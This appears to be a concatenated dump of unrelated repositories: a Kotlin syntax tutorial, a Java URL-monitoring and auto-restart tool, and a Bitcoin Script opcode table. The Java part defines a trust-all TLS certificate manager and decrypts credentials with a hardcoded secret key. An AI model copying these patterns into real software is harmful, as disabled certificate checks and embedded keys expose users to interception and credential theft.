for (i in 1 until 10)
Log.i("Kotlin", "Exclude Iteration $i")
//loop through collections
val collectionlist = listOf("A", "B", "C")
for (item in collectionlist) {
Log.i("Kotlin", "Item is $item")
}
// Similar to SWift 3.0 enumerated() method
for ((index, item) in collectionlist.withIndex()) {
Log.i("Kotlin", "Item at $index is $item")
}
val myArray = arrayOf(1, 2, 3, 4)
for (i in myArray.indices) {
val item = myArray[i]
Log.i("Kotlin", "Item is $item")
}
//Break:- To Break out of the entire loop
//Continue :- Skip a particular iteration
//Naming loops Helpful in the case of nested loops, you can specify which loop to break and which loop to continue etc
outer@ for (i in 1..100) {
for (j in 1..100) {
var stop = true
if (stop) break@outer
}
}
// While A while loop statement in Kotlin programming language repeatedly executes a target statement as long as a given condition is true.
var index = 10
while (index < 20) {
Log.i("Kotlin", "Value of index is $index")
index = index + 1
}
}
fun typeCheck(a: Any, b: Any) {
//Type Check using is and !is Operators
if (a is String) {
Log.i("Kotlin", "a is a string")
}
if (a !is String) {
Log.i("Kotlin", "a is not a string")
}
//Smart Casts
if (a is String) {
Log.i(
"Kotlin",
"a is a string with length ${a.length}"
) // val gets automatically cast to String
}
if (a !is String) return
// Usage with when
when (a) {
is String -> Log.i("Kotlin", "(when)a is a string")
is Int -> Log.i("Kotlin", (a + 1).toString())
is IntArray -> Log.i("Kotlin", a.sum().toString())
}
//Type Casting : Unsafe Cast
//val e: Int = b as Int
// Log.i("Kotlin",e.toString()) // Result in exception
//Type Casting : Safe Cast
val d: Int? = b as? Int
Log.i("Kotlin", d?.toString())
}
fun collections() {
// Lists
val items = listOf(1, 2, 3, 4)
items.first() == 1
items.last() == 4
items.filter { it % 2 == 0 } // returns [2, 4]
val mutableitems = mutableListOf(1, 2, 3, 4)
mutableitems.first() == 1
mutableitems.last() == 4
mutableitems.filter { it % 2 == 0 } // returns [2, 4]
mutableitems.add(5)
// Array list: Mutable
val arrayList = arrayListOf("A", "B", "C")
val arrayList2 = arrayListOf("D", "E", "F")
// Combine array lists
val combined = arrayList + arrayList2
println("Combined Arraylist $combined")
// arraylist is mutable using the add method
val added = arrayList.add("T")
if (added) {
println("Added item to arraylist")
println("New arraylist $arrayList")
} else {
println("Add failed")
}
// Add at a particular index. If there is no index, outof bound exception occurs
arrayList.add(2, "T")
println("New arraylist $arrayList")
// Remove element
val removed = arrayList.remove("A") //Boolean response
if (removed) {
println("removed")
println("arraylist after removal $arrayList")
} else {
println("remove failed")
}
// Get a sublist from an array list, provide start index and end index (end index value wont be taken)
val sublist = arrayList.subList(1, 3)
println("sublist $sublist")
// Arrays Immutable
var array = arrayOf(1, 2, 3, 4)
val mixedarray = arrayOf("String", 1, 2, false) // Any
val array2 = arrayOf(5, 6, 7, 8)
val numbers = intArrayOf(1, 2, 3, 4) // Only integers are possible
//Combine arrays, you can combine 2 arrays of same type
val combinedArray = array2 + array
println(combinedArray[0])
for ((index, item) in combinedArray.withIndex()) {
println("Item at $index is $item")
}
// To check if array is empty
if (array.isEmpty()) {
println("Array is empty")
}
// To check if array contains a particular element
if (array.contains(2)) {
println("Array contains 2")
}
}
//Set
//Set doesnt accept duplicate values....set add unique values.
fun setSample() {
val myCustomSet = HashSet<String>()
myCustomSet.add("Hello")
myCustomSet.add("Hello")
val size = myCustomSet.size
println("Size of set is $size")
}
//Extension Functions
//
//Extensions are used to add a new behavior to a class eventhough we donot have access to the class's source code, it is similar to extensions in Swift. Extensions can be properties also.
fun Fragment.show(message: CharSequence, duration: Int = Toast.LENGTH_SHORT) {
Toast.makeText(activity, message, duration).show()
}
}
fun functions() {
// fun <functionName>(<parameter>:<dataType>):<return datatype>{
// return <return value>
// }
// Simple function
fun hellokotlin() {
println("Hello kotlin")
}
// Function with parameters
fun sayHelloTo(name: String) {
println("Hello" + name)
}
// Function accepts parameters and returns String
fun contructStringFrom(firstName: String, lastName: String): String {
return firstName + lastName
}
}
//Class
//
//Basic syntax of a class is as follows.
//
//class <ClassName>(Parameters for construction) {
//}
//
//By default a class is closed, to inherit from a class, it need to be defined as open
//
//open class <ClassName>(Parameters for construction): ParentClass {
//}
//
//For overriding properties of the parent class, the properties also need to be defined as open in the Parent class
//
//
//open class Vehicle(open val color:String,open var numberOfWheels:Int){
//
//}
//
//class Car(override val color: String, override var numberOfWheels: Int):Vehicle(color, numberOfWheels){
//
//}
//
//class Bike(override val color: String, override var numberOfWheels: Int):Vehicle(color, numberOfWheels){
//
//}
open class Vehicle(open val color: String, open var numberofWheels: Int) {
}
class Car(override val color: String, override var numberofWheels: Int) :
Vehicle(color, numberofWheels) {
}
//Abstract Classes and Methods
//
//Abstract classes are used when we want to restrict the users from creating an instance of a class, in the above example we wont end up a scenario of creating a Vehicle object, its going to be only Car or bike or may be buses later.
//
//Abstract classes are implictly open
//
//Abstract methods are used when there is different implementation of the parent class method in the child class, so in the parent class only the declaration will be made and the child classes should implement the method.
abstract class Vehicle1(open val color: String, open var numberOfWheels: Int) {
open var whoAMI = "I am a vehicle"
abstract var modelName: String
abstract fun startEngine()
}
class Car1(override val color: String, override var numberOfWheels: Int) :
Vehicle1(color, numberOfWheels) {
override var modelName: String = "BMW123"
override var whoAMI: String = "I am a Car"
override fun startEngine() {
Log.i("Kotlin", "Starting a Car")
}
}
class Bike1(override val color: String, override var numberOfWheels: Int) :
Vehicle1(color, numberOfWheels) {
override var modelName: String = "DUKE123"
override fun startEngine() {
Log.i("Kotlin", "Starting a Bike")
}
}
//Interface
//
//Interface defines a contract which the adhering classes should implement, its like protocols in Swift. Interfaces can be extended also like protocol extensions, they can contain abstract methods as well as method implementations. Properties can be declared in Interface but they need to abstact or can provide implementation for accessors.
// Interfaces cannot store state, Interface cannot have constructors
interface Movable {
var modelNumber: String
fun startEngine()
}
class Car2(val color: String, var numberOfWheels: Int) : Movable {
override var modelNumber = "BMW123"
override fun startEngine() {
Log.i("Kotlin", "Starting a Movable Car")
}
}
class Bike2(val color: String, var numberOfWheels: Int) : Movable {
override var modelNumber: String = "DUKE123"
override fun startEngine() {
Log.i("Kotlin", "Starting a Movable Bike")
}
}
//Generics
//
//If you have a common functionality which need to handle multiple data types, we use generics.
class Generic<E>(t: E) {
val content = t
}
class Bus {
fun startBus() {
Log.i("Kotlin", "Started")
}
fun stopBus() {
Log.i("Kotlin", "Stopped")
}
fun turnRight() {
Log.i("Kotlin", "Turning Right")
}
fun turnLeft() {
Log.i("Kotlin", "Turning Left")
}
}
val myBus = Bus()
fun createSpice(){
val spice = SimpleSpice()
spice.spiceName = "Curry"
spice.spiciness = "mild"
print("${spice.spiceName}, ${spice.heat} ")
}
// Enum
enum class Color(val rgb: Int) {
RED(0xFF0000), GREEN(0x00FF00), BLUE(0x0000FF),YELLOW(0xFFFF00);
}
interface SpiceColor {
val color: Color
}
object YellowSpiceColor : SpiceColor {
override val color = Color.YELLOW
}
class Student(val firstName: String,val lastName: String, val age:Int ){
fun getFirstAndLastName():Pair<String, String>{
return firstName to lastName
}
fun getStudentFullDetails():Triple<String, String, Int>{
return Triple(firstName, lastName, age)
}
}
<file_sep>/README.md
# KotlinBasics
A sample application with Kotlin basic things put together
<file_sep>/app/src/main/java/com/example/anoopmohanan/kotlinbasics/Basics.kt
package com.example.anoopmohanan.kotlinbasics
class SimpleSpice {
var spiceName: String? = null
var spiciness: String? = null
var heat: Double = 0.0
get() {
return when (spiciness) {
"mild" -> 5.0
else -> 0.0
}
}
}
|
9b6a55b2ec73ef5839906350c3904f1e83613c09
|
[
"Markdown",
"Kotlin"
] | 3 |
Kotlin
|
anoop4real/KotlinBasics
|
f8a9f9a2907e624e726a5580214fb5a045969bdf
|
f3e1b5c1b3eff7a089fe71b875b5f9791435b3ae
|
refs/heads/master
|
<file_sep># proactive-url-monitor
Proactively monitors joboss, tomcat healthcheck and jboss url and is capable of logging into the server and perform service restart for downtime
Short Description of what this source code does -
MyScheduler.java contains the main method under package named driver_scheduler
The Package- 'operations' contains the stage1 and stage2 classes
We need to create the three csv files namely UrlList.csv, Results.csv & FilteredUrl.csv
The UrlList.csv contains all the required data needed during the process
We also need to have corresponding shell-command files in the txt file(e.g. Hermes.txt)
Flow:
The main method first runs the stage-1:
stage1:The Up and Down Urls are segregated into two csv files, Results.csv & FilteredUrl.csv respectively; with necessary data
After stage one is complete we hold for 5sec(just for demo) and start with Stage-2
stage2:It scans the FilteredUrl.csv and looks for corresponding Hermes.txt location & other data and executes it's content
<file_sep>package com.hpi.operations;
import java.io.File;
import java.util.Scanner;
public class CredentialReader {
public static String[] initReader(String host, int port,String Location ,String whoCalled) {
String user = "";
String password = "";
String consoleurl="";
String urlCsvPath="";
String ResultCsvPath="";
String FilteredCsv="";
//String [] cred;
StringBuffer command = new StringBuffer();
try {
System.out.println("starting program for reading credentials");
File file = new File(Location);
Scanner sc = new Scanner(file);
String secretkey="AutomationHPI";//To be done smt abt it --> fetch from ext encry file
command.append("\n");
while (sc.hasNextLine()) {
String nextLine = sc.nextLine();
if (nextLine.contains("username")) {
user = nextLine.split("-")[1].trim();
user= CredentialDecode.decrypt(user, secretkey);
continue;
}
if (nextLine.contains("password")) {
password = nextLine.split("-")[1].trim();
password= CredentialDecode.decrypt(password, secretkey);
continue;
}
if (nextLine.contains("consoleurl")) {
consoleurl = nextLine.split("-")[1].trim();
continue;
}
if (nextLine.contains("urlCsvPath")) {
urlCsvPath = nextLine.split("-")[1].trim();
continue;
}
if (nextLine.contains("ResultCsvPath")) {
ResultCsvPath = nextLine.split("-")[1].trim();
continue;
}
if (nextLine.contains("FilteredCsv")) {
FilteredCsv = nextLine.split("-")[1].trim();
continue;
}
sc.close();
}
// System.out.println("User is "+user+" Password is "+password+" Command is "+command.toString());
// set up session
}catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
if(whoCalled.equals("weblogic"))
return new String[] {user,password,consoleurl};
else if((whoCalled.equals("tomcat"))||(whoCalled.equals("cap")))
return null;// new String[] {user,password};
else if((whoCalled.equals("EscalationMail")))
return new String[] {user,password};
else if((whoCalled.equals("PingOne"))||(whoCalled.equals("PingTwo")))
return new String[] {urlCsvPath,ResultCsvPath,FilteredCsv};
else
return null;
}
}
<file_sep>package com.hpi.operations;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public class RemoveDuplicates {
public static void removeDuplicates(String fileInput, String fileOutput) throws IOException {
FileWriter newCsv = new FileWriter(fileOutput);
BufferedWriter newCsvBW = new BufferedWriter(newCsv);
BufferedReader reader = new BufferedReader(new FileReader(fileInput));
String data;
try {
String temp = null;
List<String> tempList = new ArrayList<String>();
do {
data = reader.readLine();
String urlToken = null;
if (data != null) {
String[] splitText = data.split(",");
urlToken = splitText[0];
}
if (temp != null) {
if (data == null || urlToken.contains(urlToken)) {
if (!(temp.equals(urlToken))) {
for (int i = 0; i < tempList.size() ; i++) {
newCsvBW.append(tempList.get(i));
newCsvBW.append("\n");
}
}
tempList.clear();
temp = urlToken;
}
} else {
temp = urlToken;
}
tempList.add(data);
}
while (data != null);
} finally {
newCsvBW.close();
reader.close();
}
}
}
<file_sep>package com.hpi.operations;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import org.apache.commons.csv.CSVFormat;
import org.apache.commons.csv.CSVParser;
import org.apache.commons.csv.CSVRecord;
import com.opencsv.CSVReader;
import com.opencsv.CSVWriter;
import com.opencsv.exceptions.CsvValidationException;
/**
* Index: src/appLaunch/loadExcel.java
* Created by Karan on 20.11.2020.
*/
public class UrlSegregator {
public UrlSegregator() throws KeyManagementException {
}
public static void myProcesss1(String Location) throws Exception {
//Location;
String []Cred= CredentialReader.initReader("",0, Location, "PingOne");
// final String username = Cred[0];//change accordingly
// final String password = Cred[1];//change accordingly
String urlCsvPath = Cred[0];
String ResultCsvPath = Cred[1];
String FilteredCsv = Cred[2];
// String urlCsvPathDelivery = Cred[3];
List<String> urlList = getListUrl(urlCsvPath);
List<String> FileLocation = LocationList(urlCsvPath);
@SuppressWarnings("unused")
List<String> FilteredUrl = getFilteredList(FilteredCsv);
System.out.println("\n" + "\n" + "######################Location of Tomcat Files for server Restart##################" + "\n"
+ "\n"
+ FileLocation);
Map<String, Integer> response = getResponseCode(urlList, Runtime.getRuntime().availableProcessors() * 10);
writeToCsv1(response, ResultCsvPath);
writeToCsv2(response, FilteredCsv);
getMapData(urlCsvPath);
// filteredLocations(getMapData(urlCsvPath), FilteredUrl);
File fileFilter = new File(FilteredCsv);
File fileUrl = new File(urlCsvPath);
List<String> lineFs = null;
List<String> lineUs = null;
try {
lineFs = Files.readAllLines(fileFilter.toPath(), StandardCharsets.UTF_8);
lineUs = Files.readAllLines(fileUrl.toPath(), StandardCharsets.UTF_8);
} catch (IOException e) {
e.printStackTrace();
}
// ------GET urls IN ARRAY FOR COMPARING----------------
String[] filterList =new String[lineFs.size()]; int j=0;
String[] urlList1 =new String[lineUs.size()]; int i=0;
for (String lineF : lineFs) {
String[] array = lineF.split(",");
filterList[j]=array[0];
//System.out.println(filterList[j]+" ");
j++;
}
for (String lineU : lineUs) {
String[] array = lineU.split(",");
urlList1[i]=array[0];
// System.out.println(urlList[j]+" ");
i++;
}
//1> Now filterList[j] has down Urls and urlList[i] has All Urls
//2> We will compare this with Initial UrlList
//3> If Matched we append Location in FilteredUrl next col
//reading file to get location of sp. url
CSVReader reader = new CSVReader(new FileReader(fileUrl));
List<String[]> csvBodyLoc = reader.readAll();
//String Location="";
for( int J=0;J<j;J++) {
for( int I=0;I<i;I++) {//compare urls
if(urlList1[I].equals(filterList[J])) {
//System.out.println("sucess found, ready to write");
// System.out.print(csvBodyLoc.get(I)[1]);
// System.out.print(" "+csvBodyLoc.get(I)[2]+" ");
// System.out.print(csvBodyLoc.get(I)[3]+"\n");
//call of update fn
for( int k=1;k<11;k++)
updateCSV(FilteredCsv,
csvBodyLoc.get(I)[k] , J, k);
}
}
}
reader.close();
}
public static void updateCSV(String fileToUpdate, String replace,
int row, int col) throws Exception {
File inputFile = new File(fileToUpdate);
// Read existing file
CSVReader reader = new CSVReader(new FileReader(inputFile));
List<String[]> csvBody = reader.readAll();
// get CSV row column and replace with by using row and column
csvBody.get(row)[col+1] = replace;
reader.close();
// Write to CSV file which is open
//CSVWriter writer = new CSVWriter(new FileWriter(inputFile));
CSVWriter writer = new CSVWriter(new FileWriter(inputFile), CSVWriter.DEFAULT_SEPARATOR,
CSVWriter.NO_QUOTE_CHARACTER,
CSVWriter.NO_ESCAPE_CHARACTER,
CSVWriter.DEFAULT_LINE_END);
writer.writeAll(csvBody);
writer.flush();
writer.close();
}
private static void writeToCsv1(Map<String, Integer> response, String pathToCvsFile) throws IOException {
File csvFile = new File(pathToCvsFile);
FileWriter writer = new FileWriter(csvFile);
writer.append("Url");
writer.append(',');
writer.append("StatusCode");
writer.append('\n');
//int Result;
for (Map.Entry<String, Integer> entry : response.entrySet()) {
writer.append(entry.getKey());
writer.append(',');
writer.append(entry.getValue().toString());
writer.append('\n');
writer.flush();
}
writer.close();
}
private static void writeToCsv2(Map<String, Integer> response, String pathToCvsFile) throws IOException {
File csvFile = new File(pathToCvsFile);
FileWriter writer = new FileWriter(csvFile);
writer.append("Url");
writer.append(',');
writer.append("StatusCode");
writer.append(',');
writer.append("Location");
writer.append(',');
writer.append("Server");
writer.append(',');
writer.append("Port");
writer.append(',');
writer.append("ServerType");
writer.append(',');
writer.append("URL Monitor Friendly Name");
writer.append(',');
writer.append("HPSME");
writer.append(',');
writer.append("PH");
writer.append(',');
writer.append("EPRID");
writer.append(',');
writer.append("Extra1");
writer.append(',');
writer.append("Extra2");
writer.append('\n');
// int Result;
response.keySet().removeAll(
response.entrySet().stream()
.filter(a -> a.getValue().equals(200))
.map(e -> e.getKey()).collect(Collectors.toList()));
for (Map.Entry<String, Integer> entry : response.entrySet()) {
writer.append(entry.getKey());
writer.append(',');
writer.append(entry.getValue().toString());
writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');writer.append(',');
writer.append('\n');
writer.flush();
}
writer.close();
}
private static Map<String, Integer> getResponseCode(List<String> urlList, Integer threads) throws IOException, InterruptedException {
final Map<String, Integer> response = Collections.synchronizedMap(new LinkedHashMap<>());
final ExecutorService executor = Executors.newFixedThreadPool(threads);
System.out.println("Created " + threads + " threads!");
for (final String url : urlList) {
executor.submit(() -> {
System.out.println("Start work with: " + url.toLowerCase() + " " + Thread.currentThread());
response.put(url, getStatusCode(url));
System.out.println("Put result in response: " + url.toLowerCase() + " " + Thread.currentThread());
});
}
while (((ThreadPoolExecutor) executor).getActiveCount() > 0) {
System.out.println("Checking... " + "Count working threads: " + ((ThreadPoolExecutor) executor).getActiveCount());
executor.awaitTermination(5, TimeUnit.SECONDS);
}
executor.shutdown();
return response;
}
private static Integer getStatusCode(String url) {
try { //disableSSLCertificateChecking();
HttpURLConnection con = (HttpURLConnection) new URL(url).openConnection();
con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/49.0.2661.94 Safari/537.34");
con.setRequestProperty("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4");
con.setRequestProperty("Accept-Encoding", " gzip, deflate, sdch");
con.setInstanceFollowRedirects(true);
con.setReadTimeout(20000);
con.connect();
con.getInputStream();
if (con.getResponseCode() != 301 && con.getResponseCode() != 302) {
return con.getResponseCode();
} else {
String redirectUrl = con.getHeaderField("Location");
return getStatusCode(redirectUrl);
}
} catch (MalformedURLException e) {
System.out.println(e.getMessage());
return 404;
} catch (IOException e) {
System.out.println(e.getMessage());
return -1;
}
}
private static void disableSSLCertificateChecking() {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// TODO Auto-generated method stub
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// TODO Auto-generated method stub
}
} };
try {
SSLContext sc = null;
try {
sc = SSLContext.getInstance("TLS");
} catch (NoSuchAlgorithmException noSuchAlgorithmException) {
noSuchAlgorithmException.printStackTrace();
}
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
}
}
private static List<String> getListUrl(String pathCsvFile) throws IOException {
List<String> list = new ArrayList<>();
File csvFile = new File(pathCsvFile);
CSVParser parser = CSVParser.parse(csvFile, Charset.defaultCharset(), CSVFormat.RFC4180);
for (CSVRecord csvRecord : parser) {
String url = csvRecord.iterator().next().split(";")[0];
if (url.startsWith("http")) {
list.add(url);
}
}
System.out.println("#########################Created list urls################################" + "\n"
+ "\n");
return list;
}
private static List<String> LocationList(String pathCsvFile) throws IOException, CsvValidationException {
ArrayList<String> location = new ArrayList<>();
CSVReader reader = new CSVReader(new FileReader(pathCsvFile));
String[] nextLine;
while (null != (nextLine = reader.readNext())) {
location.add(nextLine[1]);
}
return location;
}
private static List<String> getFilteredList(String filtered) throws IOException {
List<String> filteredList = new ArrayList<>();
File csvFile = new File(filtered);
CSVParser parser = CSVParser.parse(csvFile, Charset.defaultCharset(), CSVFormat.RFC4180);
for (CSVRecord csvRecord : parser) {
String filterdUrl = csvRecord.iterator().next().split(";")[0];
if (filterdUrl.startsWith("http")) {
filteredList.add(filterdUrl);
}
}
System.out.println(
"###################Filtered list url###################" + "\n" + "\n"
+ filteredList + "\n");
return filteredList;
}
public static HashMap<String, String> getMapData(String path) throws IOException {
String line = "";
BufferedReader b = new BufferedReader(new FileReader(path));
HashMap<String, String> result = new HashMap<>();
while ((line = b.readLine()) != null) {
String[] parts = line.split(",");
String key = parts[0];
String value = parts[1];
result.put(key, value);
}
result.entrySet().forEach(entry -> {
System.out.println(entry.getKey() + " " + entry.getValue());
});b.close();
return result;
}
}<file_sep>Short Description of what this source code does -
MyScheduler.java contains the main method under package named driver_scheduler
The Package- 'operations' contains the stage1 and stage2 classes
We need to create the three csv files namely UrlList.csv, Results.csv & FilteredUrl.csv
The UrlList.csv contains all the required data needed during the process
We also need to have corresponding shell-command files in the txt file(e.g. Hermes.txt)
Flow:
The main method first runs the stage-1:
stage1:The Up and Down Urls are segregated into two csv files, Results.csv & FilteredUrl.csv respectively; with necessary data
After stage one is complete we hold for 5sec(just for demo) and start with Stage-2
stage2:It scans the FilteredUrl.csv and looks for corresponding Hermes.txt location & other data and executes it's content
NB the Bugs:
1>Some urls(that need authentication/hosted on outside cloud server) status code not identified
2>In case of weblogic the resolution code breaks if the server machine is already in shutdown state(because dead can't die)
3><file_sep>package com.hpi.main;
import com.hpi.alert.MailDirector;
import com.hpi.operations.RemoveDuplicates;
import com.hpi.operations.ResolutionDirector;
import com.hpi.operations.UrlSegregator;
public class MyScheduler {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
//
// UrlSegregator.myProcesss1("./resources/PingResources.txt");
//
// Thread.sleep(5000);
// System.out.println("Now working with stage 2" + " 😉\n");
//
// RemoveDuplicates.removeDuplicates("./resources/FilteredUrl.csv", "./resources/optimizedList1.csv");
ResolutionDirector.myProcess2();
System.out.println("Now working with stage 3" + "😎\n");
UrlSegregator.myProcesss1("./resources/PingResourceFinal.txt");
System.out.println("Now working with stage 3 Notification" + "👽\n");
MailDirector.readCSV_Mail("resources/FailedUrl.csv");
}
}
<file_sep>random=text so that it uploads to Onedrive because it doesn't allow empty files
|
ca8d233d11ccb37a7e864e2f7f2215be64308ea6
|
[
"Markdown",
"Java",
"Text",
"INI"
] | 7 |
Markdown
|
creator-drogon/proactive-url-monitor
|
5523e4c0355b9f2080cf20b3505ebfb996730dc9
|
4f8e24d8bab54d6c727a8ec1ee366dcaa0f6737a
|
refs/heads/master
|
<repo_name>Kegn/DevOps-Portfolio<file_sep>/notes/markdown/bitcoin_script_words.md
Words
This is a list of all Script words, also known as opcodes, commands, or functions.
There are some words which existed in very early versions of Bitcoin but were removed out of a concern that the client might have a bug in their implementation. This fear was motivated by a bug found in OP_LSHIFT which could crash any Bitcoin node if exploited, and by other bugs in how Script worked which allowed anyone to spend anyone's bitcoins. The removed opcodes are sometimes said to be "disabled" opcodes, but this is something of a misnomer because there is absolutely no way for anyone using Bitcoin to use these opcodes (they simply do not exist anymore in the protocol), and there are also no solid plans to ever re-enable all of these opcodes. They are listed here only for historical interest.
New opcodes can be added by means of a carefully designed and executed softfork using OP_NOP1-OP_NOP10.
False is zero or negative zero (using any number of bytes) or an empty array, and True is anything else.
Constants
When talking about scripts, these value-pushing words are usually omitted.
Word Opcode Hex Input Output Description
OP_0, OP_FALSE 0 0x00 Nothing. (empty value) An empty array of bytes is pushed onto the stack. (This is not a no-op: an item is added to the stack.)
N/A 1-75 0x01-0x4b (special) data The next opcode bytes is data to be pushed onto the stack
OP_PUSHDATA1 76 0x4c (special) data The next byte contains the number of bytes to be pushed onto the stack.
OP_PUSHDATA2 77 0x4d (special) data The next two bytes contain the number of bytes to be pushed onto the stack.
OP_PUSHDATA4 78 0x4e (special) data The next four bytes contain the number of bytes to be pushed onto the stack.
OP_1NEGATE 79 0x4f Nothing. -1 The number -1 is pushed onto the stack.
OP_1, OP_TRUE 81 0x51 Nothing. 1 The number 1 is pushed onto the stack.
OP_2-OP_16 82-96 0x52-0x60 Nothing. 2-16 The number in the word name (2-16) is pushed onto the stack.
Flow control
Word Opcode Hex Input Output Description
OP_NOP 97 0x61 Nothing Nothing Does nothing.
OP_IF 99 0x63 <expression> if [statements] [else [statements]]* endif If the top stack value is not False, the statements are executed. The top stack value is removed.
OP_NOTIF 100 0x64 <expression> notif [statements] [else [statements]]* endif If the top stack value is False, the statements are executed. The top stack value is removed.
OP_ELSE 103 0x67 <expression> if [statements] [else [statements]]* endif If the preceding OP_IF or OP_NOTIF or OP_ELSE was not executed then these statements are and if the preceding OP_IF or OP_NOTIF or OP_ELSE was executed then these statements are not.
OP_ENDIF 104 0x68 <expression> if [statements] [else [statements]]* endif Ends an if/else block. All blocks must end, or the transaction is invalid. An OP_ENDIF without OP_IF earlier is also invalid.
OP_VERIFY 105 0x69 True / false Nothing / fail Marks transaction as invalid if top stack value is not true.
OP_RETURN 106 0x6a Nothing fail Marks transaction as invalid. A standard way of attaching extra data to transactions is to add a zero-value output with a scriptPubKey consisting of OP_RETURN followed by exactly one pushdata op. Such outputs are provably unspendable, reducing their cost to the network. Currently it is usually considered non-standard (though valid) for a transaction to have more than one OP_RETURN output or an OP_RETURN output with more than one pushdata op.
Stack
Word Opcode Hex Input Output Description
OP_TOALTSTACK 107 0x6b x1 (alt)x1 Puts the input onto the top of the alt stack. Removes it from the main stack.
OP_FROMALTSTACK 108 0x6c (alt)x1 x1 Puts the input onto the top of the main stack. Removes it from the alt stack.
OP_IFDUP 115 0x73 x x / x x If the top stack value is not 0, duplicate it.
OP_DEPTH 116 0x74 Nothing <Stack size> Puts the number of stack items onto the stack.
OP_DROP 117 0x75 x Nothing Removes the top stack item.
OP_DUP 118 0x76 x x x Duplicates the top stack item.
OP_NIP 119 0x77 x1 x2 x2 Removes the second-to-top stack item.
OP_OVER 120 0x78 x1 x2 x1 x2 x1 Copies the second-to-top stack item to the top.
OP_PICK 121 0x79 xn ... x2 x1 x0 <n> xn ... x2 x1 x0 xn The item n back in the stack is copied to the top.
OP_ROLL 122 0x7a xn ... x2 x1 x0 <n> ... x2 x1 x0 xn The item n back in the stack is moved to the top.
OP_ROT 123 0x7b x1 x2 x3 x2 x3 x1 The top three items on the stack are rotated to the left.
OP_SWAP 124 0x7c x1 x2 x2 x1 The top two items on the stack are swapped.
OP_TUCK 125 0x7d x1 x2 x2 x1 x2 The item at the top of the stack is copied and inserted before the second-to-top item.
OP_2DROP 109 0x6d x1 x2 Nothing Removes the top two stack items.
OP_2DUP 110 0x6e x1 x2 x1 x2 x1 x2 Duplicates the top two stack items.
OP_3DUP 111 0x6f x1 x2 x3 x1 x2 x3 x1 x2 x3 Duplicates the top three stack items.
OP_2OVER 112 0x70 x1 x2 x3 x4 x1 x2 x3 x4 x1 x2 Copies the pair of items two spaces back in the stack to the front.
OP_2ROT 113 0x71 x1 x2 x3 x4 x5 x6 x3 x4 x5 x6 x1 x2 The fifth and sixth items back are moved to the top of the stack.
OP_2SWAP 114 0x72 x1 x2 x3 x4 x3 x4 x1 x2 Swaps the top two pairs of items.
Splice
If any opcode marked as disabled is present in a script, it must abort and fail.
Word Opcode Hex Input Output Description
OP_CAT 126 0x7e x1 x2 out Concatenates two strings. disabled.
OP_SUBSTR 127 0x7f in begin size out Returns a section of a string. disabled.
OP_LEFT 128 0x80 in size out Keeps only characters left of the specified point in a string. disabled.
OP_RIGHT 129 0x81 in size out Keeps only characters right of the specified point in a string. disabled.
OP_SIZE 130 0x82 in in size Pushes the string length of the top element of the stack (without popping it).
Bitwise logic
If any opcode marked as disabled is present in a script, it must abort and fail.
Word Opcode Hex Input Output Description
OP_INVERT 131 0x83 in out Flips all of the bits in the input. disabled.
OP_AND 132 0x84 x1 x2 out Boolean and between each bit in the inputs. disabled.
OP_OR 133 0x85 x1 x2 out Boolean or between each bit in the inputs. disabled.
OP_XOR 134 0x86 x1 x2 out Boolean exclusive or between each bit in the inputs. disabled.
OP_EQUAL 135 0x87 x1 x2 True / false Returns 1 if the inputs are exactly equal, 0 otherwise.
OP_EQUALVERIFY 136 0x88 x1 x2 Nothing / fail Same as OP_EQUAL, but runs OP_VERIFY afterward.
Arithmetic
Note: Arithmetic inputs are limited to signed 32-bit integers, but may overflow their output.
If any input value for any of these commands is longer than 4 bytes, the script must abort and fail. If any opcode marked as disabled is present in a script - it must also abort and fail.
Word Opcode Hex Input Output Description
OP_1ADD 139 0x8b in out 1 is added to the input.
OP_1SUB 140 0x8c in out 1 is subtracted from the input.
OP_2MUL 141 0x8d in out The input is multiplied by 2. disabled.
OP_2DIV 142 0x8e in out The input is divided by 2. disabled.
OP_NEGATE 143 0x8f in out The sign of the input is flipped.
OP_ABS 144 0x90 in out The input is made positive.
OP_NOT 145 0x91 in out If the input is 0 or 1, it is flipped. Otherwise the output will be 0.
OP_0NOTEQUAL 146 0x92 in out Returns 0 if the input is 0. 1 otherwise.
OP_ADD 147 0x93 a b out a is added to b.
OP_SUB 148 0x94 a b out b is subtracted from a.
OP_MUL 149 0x95 a b out a is multiplied by b. disabled.
OP_DIV 150 0x96 a b out a is divided by b. disabled.
OP_MOD 151 0x97 a b out Returns the remainder after dividing a by b. disabled.
OP_LSHIFT 152 0x98 a b out Shifts a left b bits, preserving sign. disabled.
OP_RSHIFT 153 0x99 a b out Shifts a right b bits, preserving sign. disabled.
OP_BOOLAND 154 0x9a a b out If both a and b are not 0, the output is 1. Otherwise 0.
